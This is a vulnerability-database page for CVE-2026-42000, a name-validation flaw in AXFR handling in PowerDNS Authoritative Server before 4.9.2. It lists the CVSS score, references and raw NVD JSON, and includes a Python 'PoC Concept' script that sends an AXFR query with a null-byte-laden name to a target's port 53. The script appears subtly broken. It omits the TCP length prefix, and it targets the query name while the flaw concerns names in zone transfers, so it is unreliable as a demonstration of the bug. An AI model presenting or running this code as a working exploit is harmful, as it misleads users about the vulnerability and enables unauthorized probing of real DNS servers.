CVE-2026-42000

Description

Insufficient Validation of Names During AXFR

CVSS Details

CVSS Score

6.8

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

PowerDNS Authoritative Server < 4.9.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import socket
import struct

# CVE-2026-42000 PoC Concept
# Target: PowerDNS Authoritative Server
# Description: Send an AXFR request with a malformed name to bypass validation.

def send_malformed_axfr(target_ip, domain):
    # DNS Header: ID=0x1234, Flags=0 (Standard Query), QDCOUNT=1
    header = struct.pack('!HHHHHH', 0x1234, 0x0000, 1, 0, 0, 0)
    # Question: Domain (encoded), Type=AXFR (252), Class=IN (1)
    # Malformed name containing null byte or invalid char
    malformed_name = b'\x03www\x00' + domain.encode('utf-8') + b'\x00'
    question = malformed_name + struct.pack('!HH', 252, 1)
    
    payload = header + question
    
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((target_ip, 53))
        sock.send(payload)
        response = sock.recv(1024)
        print(f"Response received: {len(response)} bytes")
        sock.close()
    except Exception as e:
        print(f"Error: {e}")

# Usage
# send_malformed_axfr('192.168.1.100', 'example.com')

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42000
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42000
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42000/
[4] VulDB https://vuldb.com/cve/CVE-2026-42000
[5] https://docs.powerdns.com/authoritative/security-advisories/powerdns-advisory-powerdns-2026-06.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42000", "sourceIdentifier": "[email protected]", "published": "2026-05-21T10:16:25.563", "lastModified": "2026-05-21T15:27:51.530", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient Validation of Names During AXFR"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 4.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://docs.powerdns.com/authoritative/security-advisories/powerdns-advisory-powerdns-2026-06.html", "source": "[email protected]"}]}}